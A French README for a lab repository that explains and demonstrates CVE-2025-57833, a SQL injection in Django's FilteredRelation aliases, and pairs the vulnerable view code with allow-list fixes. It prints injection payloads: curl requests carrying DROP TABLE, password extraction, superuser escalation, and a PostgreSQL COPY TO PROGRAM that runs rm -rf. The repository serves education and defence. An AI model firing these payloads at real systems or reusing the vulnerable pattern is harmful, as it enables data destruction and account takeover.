
Nous avons mis en place un environnement pour tester la CVE-2025-57833. Cet environnement a été construit à l'aide de l'IA, il est donc sujet à des modifications continues.
Ce dépôt démontre et explique la CVE-2025-57833, une vulnérabilité critique d'injection SQL dans l'ORM de Django qui affecte les versions 4.2 antérieures à 4.2.24, 5.1 antérieures à 5.1.12 et 5.2 antérieures à 5.2.6.
Score CVSS : 9.8 (Critique)
Impact : Injection SQL menant à une exécution de code à distance (RCE)
Authentification requise : Aucune (attaque non authentifiée)
L'ORM de Django (Object-Relational Mapping) permet aux développeurs d'interagir avec les bases de données en utilisant du code Python plutôt que du SQL brut. Par exemple :
# Au lieu de SQL brut : SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)
FilteredRelation est une fonctionnalité de Django qui permet de joindre des tables avec des conditions de filtrage supplémentaires :
# Jointure des books avec les authors, mais uniquement les authors actifs
Book.objects.annotate(
active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')
Parfois, les développeurs doivent créer des noms de champs dynamiquement à partir des entrées utilisateur :
# L'utilisateur souhaite rechercher selon différents critères
search_field = request.POST.get('field_name') # Entrée utilisateur : "title", "author", etc.
# Création dynamique de champ avec **kwargs
queryset.annotate(**{
search_field: FilteredRelation('some_relation')
})
La vulnérabilité survient lorsque des entrées utilisateur non assainies sont utilisées comme clés de dictionnaire dans annotate() ou alias() avec FilteredRelation. Voici le processus étape par étape :
# Voici ce que font les applications vulnérables :
user_input = request.POST.get('search_field') # L'attaquant contrôle ceci
# La vulnérabilité est ici - l'entrée utilisateur devient un alias de colonne SQL
queryset.annotate(**{
user_input: FilteredRelation("author") # ❌ DANGEREUX
})
Un attaquant envoie une entrée malveillante :
user_input = "malicious_field'; DROP TABLE users; --"
Django génère du SQL comme ceci :
SELECT ...
FROM book
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...
Le SQL malveillant est exécuté, ce qui peut potentiellement :
De nombreuses applications Django disposent d'une fonctionnalité de recherche où les utilisateurs peuvent choisir le champ à rechercher :
# views.py - Schéma vulnérable courant
def search_books(request):
search_field = request.POST.get('search_by') # "author", "title", "category"
search_value = request.POST.get('search_value')
# Le développeur pense que c'est sûr - CE N'EST PAS LE CAS !
books = Book.objects.annotate(**{
f"filtered_{search_field}": FilteredRelation(
search_field,
condition=Q(**{f"{search_field}__name__icontains": search_value})
)
})
return JsonResponse({'books': list(books.values())})
# L'attaquant envoie cette requête POST :
curl -X POST http://example.com/search/ \
-d "search_by=author'; DROP TABLE auth_user; --" \
-d "search_value=anything"
# NE FAITES JAMAIS CELA - Entrée utilisateur directe comme clé de dictionnaire
user_field = request.POST.get('field')
queryset.annotate(**{
user_field: FilteredRelation('relation') # Injection SQL !
})
# SÛR - Utilisez une validation par liste blanche
ALLOWED_FIELDS = ['author', 'category', 'publisher']
user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
raise ValidationError("Invalid field")
queryset.annotate(**{
user_field: FilteredRelation('relation') # Désormais sûr
})
# SÛR - Utilisez des noms de champs statiques
search_type = request.POST.get('search_type')
if search_type == 'author':
queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
queryset.annotate(filtered_category=FilteredRelation('category'))
-- Extraction de données sensibles
'; SELECT username, password FROM auth_user; --
-- Modification de données
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --
-- Exécution de commandes système (PostgreSQL avec les extensions appropriées)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']
def safe_annotate(queryset, field_name):
if field_name not in ALLOWED_FIELDS:
raise ValidationError(f"Field '{field_name}' not allowed")
return queryset.annotate(**{
field_name: FilteredRelation('relation')
})
# Au lieu de noms de champs dynamiques, utilisez une logique conditionnelle
def get_filtered_queryset(search_type):
if search_type == 'author':
return queryset.annotate(result=FilteredRelation('author'))
elif search_type == 'category':
return queryset.annotate(result=FilteredRelation('category'))
else:
raise ValidationError("Invalid search type")
Mettez à jour vers la dernière version de Django :
Ce dépôt inclut un environnement de test complet :
# Exécuter l'application Django vulnérable
docker-compose up
# Tester la vulnérabilité
curl -X POST http://localhost:8000/api/vulnerable-search/ \
-H "Content-Type: application/json" \
-d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'
Pour des instructions de test détaillées, voir document/README.md.
Ce dépôt est uniquement destiné à des fins éducatives et de sécurité défensive. N'utilisez pas ces informations pour attaquer des systèmes dont vous n'êtes pas propriétaire ou que vous n'avez pas l'autorisation de tester.